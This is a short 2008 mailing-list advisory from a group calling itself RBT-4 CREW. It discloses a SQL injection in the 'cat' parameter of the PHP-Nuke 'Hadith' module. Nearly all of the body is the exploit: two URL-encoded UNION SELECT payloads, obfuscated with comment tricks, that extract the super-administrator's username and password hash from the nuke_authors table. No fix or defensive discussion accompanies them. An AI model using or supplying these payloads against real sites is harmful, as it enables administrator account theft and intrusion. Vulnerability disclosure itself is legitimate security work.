Date: 8 Mar 2008 20:13:16 -0000
From: [email protected]
To: [email protected]Subject: PHP-Nuke SQL injection Module "Hadith" [cat]
X-Virus-Scanned: antivirus-gw at tyumen.ru
R B T - 4 C R E W www.rbt-4.net
-----------------------------------------------
AUTHOR : Lovebug
PHP-Nuke Module "Hadith" [cat] Sql injection
Original Advisory:
http://www.rbt-4.net/forum/viewthread.php?forum_id=51&thread_id=3078
Exploit
-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
